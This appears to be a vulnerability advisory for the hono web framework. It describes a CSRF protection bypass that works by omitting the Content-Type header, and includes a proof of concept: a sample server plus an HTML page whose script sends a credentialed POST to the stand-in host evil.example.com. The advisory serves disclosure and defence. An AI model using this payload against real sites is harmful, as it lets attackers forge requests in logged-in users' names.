Overview

hono is an Ultrafast web framework for the Edges

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) through the csrf function. An attacker can bypass CSRF protection by sending a request without a Content-Type header.

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)

<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />
